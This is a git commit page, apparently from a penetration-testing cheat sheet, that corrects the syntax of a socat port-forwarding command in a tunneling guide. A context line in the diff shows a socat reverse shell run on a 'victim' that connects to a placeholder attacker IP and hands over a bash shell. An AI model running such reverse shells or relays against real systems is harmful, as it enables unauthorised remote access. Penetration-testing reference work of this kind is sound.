Update tunneling-and-port-forwarding.md
Fixed error for socat Port2Port. Colon should be used to specify port instead of using comma.
This commit is contained in:
parent
06915d8d21
commit
7a7805b5d4
@ -206,7 +206,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
### Port2Port
|
||||
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>,<rport> &
|
||||
socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
|
||||
```
|
||||
|
||||
### Port2Port through socks
|
||||
|
Loading…
Reference in New Issue
Block a user